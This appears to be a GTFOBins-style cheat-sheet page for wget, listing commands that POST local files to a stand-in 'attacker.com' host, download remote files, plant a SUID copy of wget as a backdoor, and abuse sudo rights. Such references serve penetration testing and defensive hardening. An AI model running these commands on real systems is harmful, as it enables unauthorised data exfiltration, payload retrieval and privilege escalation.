.. / wget

Star

• File upload
• File download
• SUID
• Sudo

File upload

It can exfiltrate files on the network.

• Send local file with an HTTP POST request. Run an HTTP service on the attacker box to collect the file. Note that the file will be sent as-is, instruct the service to not URL-decode the body. Use --post-data to send hard-coded data.

  export URL=http://attacker.com/
  export LFILE=file_to_send
  wget --post-file=$LFILE $URL

File download

It can download remote files.

• Fetch a remote file via HTTP GET request.

  export URL=http://attacker.com/file_to_get
  export LFILE=file_to_save
  wget $URL -O $LFILE

SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian that allow the default sh shell to run with SUID privileges.

• Fetch a remote file via HTTP GET request.

  sudo sh -c 'cp $(which wget) .; chmod +s ./wget'
  
  export URL=http://attacker.com/file_to_get
  export LFILE=file_to_save
  ./wget $URL -O $LFILE

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

• Fetch a remote file via HTTP GET request.

  export URL=http://attacker.com/file_to_get
  export LFILE=file_to_save
  sudo -E wget $URL -O $LFILE